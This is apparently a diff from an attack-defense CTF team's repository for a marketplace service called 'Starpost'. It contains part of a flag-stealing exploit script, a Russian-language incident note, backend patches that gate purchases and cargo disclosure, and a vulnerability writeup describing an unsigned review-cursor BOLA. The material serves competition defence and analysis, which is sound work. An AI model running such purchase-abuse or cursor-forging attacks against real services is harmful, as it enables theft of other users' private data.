with concurrent.futures.ThreadPoolExecutor(max_workers=MAX_WORKERS) as pool: with concurrent.futures.ThreadPoolExecutor(max_workers=MAX_WORKERS) as pool:
credited = sum(pool.map(lambda _: credit(base, cookie, promo["code"]), range(required_credits))) credited = sum(pool.map(lambda _: credit(base, cookie, promo["code"], deadline), range(required_credits)))
if credited != required_credits: if credited != required_credits:
raise ValueError("promo crediting was incomplete") raise ValueError("promo crediting was incomplete")
order_ids = []
for product_id in selected:
order_id = buy(base, cookie, product_id)
if order_id is not None:
order_ids.append(order_id)
with concurrent.futures.ThreadPoolExecutor(max_workers=MAX_WORKERS) as pool: with concurrent.futures.ThreadPoolExecutor(max_workers=MAX_WORKERS) as pool:
delivered = sum(pool.map(lambda order_id: deliver(base, order_id), order_ids)) added = sum(pool.map(lambda product_id: add_to_cart(base, cookie, product_id, deadline), selected))
if added == 0:
return ""
order_ids = checkout(base, cookie, deadline)
with concurrent.futures.ThreadPoolExecutor(max_workers=MAX_WORKERS) as pool:
delivered = sum(pool.map(lambda order_id: deliver(base, order_id, deadline), order_ids))
status, raw, _ = request(base, "/api/orders", cookie=cookie) status, raw, _ = request(base, "/api/orders", cookie=cookie, deadline=deadline)
if status != 200: if status != 200:
raise ValueError(f"orders endpoint returned HTTP {status}") raise ValueError(f"orders endpoint returned HTTP {status}")
print( print(
f"credited {credited} times, bought {len(order_ids)} products, delivered {delivered} orders", f"credited {credited} times, carted {added} products, bought {len(order_ids)}, delivered {delivered}",
file=sys.stderr, file=sys.stderr,
) )
return raw.decode("utf-8", errors="replace") candidates = list(dict.fromkeys(FLAG_PATTERN.findall(raw)))
return b"\n".join(candidates).decode("ascii")
def main() -> int: def main() -> int:
@@ -174,6 +226,7 @@ def main() -> int:
except (HTTPError, URLError, TimeoutError, ValueError, OSError, json.JSONDecodeError) as exc: except (HTTPError, URLError, TimeoutError, ValueError, OSError, json.JSONDecodeError) as exc:
print(f"request failed: {exc}", file=sys.stderr) print(f"request failed: {exc}", file=sys.stderr)
return 1 return 1
if output:
print(output, flush=True) print(output, flush=True)
return 0 return 0
+73
View File
@@ -0,0 +1,73 @@
# Starpost: покупка чужого cargo, 25 октября 2026
## Подтверждённый путь
Публичный каталог показывает ID и цену товара. Новый buyer получает 100 кредитов
при регистрации и ещё 100 при однократном применении своего promo. Товары,
созданные checker с флагом в `cargo`, на нашем экземпляре стоили 102–175.
Покупатель оплачивает товар через `POST /api/products/{id}/buy` или корзину,
warehouse доставляет заказ, после чего `GET /api/orders` возвращает `cargo`.
На снимке игровой БД были 12 товаров с флагоподобным `cargo` и 91 доставленный
заказ от 91 buyer. Счётчики растут, это не точное число похищенных или
зачтённых флагов. Старые пути через неподписанный курсор отзывов, чужой договор
и поддельный warehouse callback текущая версия отклоняет. Runtime session key
и callback token уже отличаются от старых литералов в скриптах. Секреты и
значения флагов в этом документе не сохраняются.
## Что делает checker
Ежеминутный поток создаёт seller и product, читает карточку и собственный
договор, регистрирует **нового** buyer, применяет и гасит promo, покупает через
корзину или прямой buy, опрашивает заказы до доставки и оставляет отзыв.
Позднее checker читает старые заказы, договоры и отзывы. В 62 наблюдённых
сценариях первая покупка произошла через 0,232–0,563 с после создания товара.
Buyer создаётся без cookie seller; связывать их по одной сессии нельзя.
## Решение по выкладке
**Не выкладывать ограничение `cargo` по первому покупателю, времени покупки,
User-Agent, IP или виду флага.** Первый покупатель может оказаться соперником,
что лишит checker возможности прочитать свой флаг и даст `CORRUPT`/`MUMBLE`.
Проверка времени основана лишь на текущей скорости checker и лишает
оплативших поздних покупателей груза. User-Agent подделывается, а маршрутизатор
сводит HTTP-клиентов к одному видимому IP. Такие ограничения нарушают
штатную семантику покупки и не дают надёжной защиты.
Изолированный Flask/PostgreSQL прогон проверил маршруты seller/product,
contract, promo, прямую покупку и checkout, warehouse delivery, orders,
private review и чтение старого заказа после перезапуска приложения. Он
**не заменяет официальный checker**. Рассмотренный cargo-патч был отвергнут
независимым review и не попал в Git.
Для настоящего исправления нужен предусмотренный протоколом способ указать
получателя товара при создании или иное право, которое checker может передать
новому buyer. Текущий checker и соперник используют одинаковый маршрут покупки;
без изменения контракта их нельзя надёжно различить.
## Экстренное ограничение выдачи cargo
После подтверждённой продолжающейся кражи `GET /api/orders` изменён так, чтобы
`cargo` возвращался только самому раннему доставленному заказу конкретного
товара. Повторные покупатели сохраняют заказ и его статус, но получают
`cargo=null`. Изменение не затрагивает регистрацию, promo, покупку, warehouse,
отзывы и чтение первого старого заказа. Оно не требует миграции базы.
Ограничение опирается на наблюдение, что checker первым покупает созданный им
товар. Если соперник успеет создать самый ранний заказ, checker не получит
`cargo`. После выкладки обязательно следить за `CORRUPT`/`MUMBLE`; при регрессии
откатить этот коммит и пересобрать только `api`.
## Эксплойт и дальнейшая проверка
`sploits/starpost_market.py` воспроизводит штатную покупку с одной активацией
promo и ограниченным числом запросов. Он проверен на синтетическом HTTP-сервисе:
регистрация, покупка, отложенная доставка, поиск флага, ограничение времени,
stdout/stderr и запрет перехода по redirect. На чужих командах и в Neo этот
скрипт ещё не запускался; `accepted` в Skipper не подтверждён.
Перед любым следующим патчем сохранить состояние томов и текущий commit,
прогнать оба способа покупки и GET-old, затем после выкладки проверить статус
официального checker. Не выполнять `git reset`/обычный `git pull` на vulnbox:
в рабочей копии Git отслеживает файлы `starpost/postgres/`, которые меняются
во время игры.
+26 -2
View File
@@ -293,7 +293,10 @@ def invalidate_promo():
if not isinstance(code, str) or not 1 <= len(code) <= 100: if not isinstance(code, str) or not 1 <= len(code) <= 100:
return error("invalid promo code") return error("invalid promo code")
with db() as conn, conn.cursor() as cur: with db() as conn, conn.cursor() as cur:
cur.execute("DELETE FROM promo_codes WHERE user_id=%s AND code=%s", (session["user_id"], code.strip())) cur.execute(
"DELETE FROM promo_codes WHERE user_id=%s AND code=%s AND credited_at IS NOT NULL",
(session["user_id"], code.strip()),
)
if cur.rowcount == 0: if cur.rowcount == 0:
return error("promo code is unavailable", 409) return error("promo code is unavailable", 409)
return jsonify(invalidated=True, code=code.strip()) return jsonify(invalidated=True, code=code.strip())
@@ -509,6 +512,9 @@ def order_product(product_id):
return None, error("product not found", 404) return None, error("product not found", 404)
if row["seller_id"] == session["user_id"]: if row["seller_id"] == session["user_id"]:
return None, error("cannot buy your own product") return None, error("cannot buy your own product")
cur.execute("SELECT 1 FROM promo_codes WHERE user_id=%s", (session["user_id"],))
if cur.fetchone():
return None, error("promo code must be invalidated", 409)
if row["balance"] < row["price"]: if row["balance"] < row["price"]:
return None, error("insufficient balance", 409) return None, error("insufficient balance", 409)
cur.execute("UPDATE users SET balance=balance-%s WHERE id=%s", (row["price"], session["user_id"])) cur.execute("UPDATE users SET balance=balance-%s WHERE id=%s", (row["price"], session["user_id"]))
@@ -534,6 +540,9 @@ def checkout():
with db() as conn, conn.cursor() as cur: with db() as conn, conn.cursor() as cur:
cur.execute("SELECT balance FROM users WHERE id=%s FOR UPDATE", (session["user_id"],)) cur.execute("SELECT balance FROM users WHERE id=%s FOR UPDATE", (session["user_id"],))
buyer = cur.fetchone() buyer = cur.fetchone()
cur.execute("SELECT 1 FROM promo_codes WHERE user_id=%s", (session["user_id"],))
if cur.fetchone():
return error("promo code must be invalidated", 409)
cur.execute( cur.execute(
""" """
SELECT p.id product_id,p.seller_id,p.price,p.is_active,c.quantity SELECT p.id product_id,p.seller_id,p.price,p.is_active,c.quantity
@@ -570,7 +579,22 @@ def checkout():
@auth("buyer") @auth("buyer")
def buyer_orders(): def buyer_orders():
with db() as conn, conn.cursor() as cur: with db() as conn, conn.cursor() as cur:
cur.execute("SELECT o.id,o.status,o.warehouse_status,o.warehouse_updated_at,o.tracking_code,o.price,o.created_at,o.delivered_at,p.name,CASE WHEN o.status='delivered' THEN p.cargo ELSE NULL END cargo FROM orders o JOIN products p ON p.id=o.product_id WHERE o.buyer_id=%s ORDER BY o.id DESC", (session["user_id"],)) cur.execute(
"""
SELECT o.id,o.status,o.warehouse_status,o.warehouse_updated_at,
o.tracking_code,o.price,o.created_at,o.delivered_at,p.name,
CASE
WHEN o.status='delivered'
AND o.id=(SELECT min(first_order.id) FROM orders first_order
WHERE first_order.product_id=o.product_id)
THEN p.cargo
ELSE NULL
END cargo
FROM orders o JOIN products p ON p.id=o.product_id
WHERE o.buyer_id=%s ORDER BY o.id DESC
""",
(session["user_id"],),
)
return jsonify(cur.fetchall()) return jsonify(cur.fetchall())
+10
View File
@@ -2,6 +2,16 @@
## Confirmed vulnerabilities ## Confirmed vulnerabilities
### Fresh-buyer cargo purchase
The checker creates flag-bearing products priced within the 200-credit budget of a newly registered buyer: the account starts with 100 credits and its one-time promo adds 100. An attacker can therefore register a buyer, credit the issued promo, buy an active product, wait for automatic warehouse delivery, and read its cargo through `GET /api/orders` without bypassing authentication.
Incident logs and aggregate database checks confirmed this exact path. The observed attacker used `register -> account -> promo/credit -> direct buy -> orders`, while the checker uses `promo/credit -> promo/invalidate -> cart -> checkout -> orders`.
The emergency patch requires the buyer to finish the existing promo lifecycle before either direct purchase or checkout. `promo/invalidate` now succeeds only after credit, and both purchase paths return 409 while a promo row remains. Routes, successful response bodies, prices, delivery, existing orders, and cargo retrieval are unchanged. A synthetic route-level regression confirmed that purchase before invalidation is blocked, credit followed by invalidation preserves direct buy and checkout, and an uncredited promo cannot be deleted to bypass the gate.
This is containment for the observed exploit, not a durable confidentiality boundary. An adaptive attacker can call the public invalidate endpoint and reproduce the checker workflow. A permanent fix requires a checker-compatible non-public purchase capability or moving flags out of buyer-deliverable cargo.
### Cross-seller review cursor BOLA ### Cross-seller review cursor BOLA
Before the patch, `GET /api/seller/reviews` skipped the cursor HMAC check when `limit <= 3`. An authenticated seller could supply unsigned Base64url JSON containing another `seller_id`, `is_private=true`, and a high `last_id`; the response returned that seller's private review bodies. Before the patch, `GET /api/seller/reviews` skipped the cursor HMAC check when `limit <= 3`. An authenticated seller could supply unsigned Base64url JSON containing another `seller_id`, `is_private=true`, and a high `last_id`; the response returned that seller's private review bodies.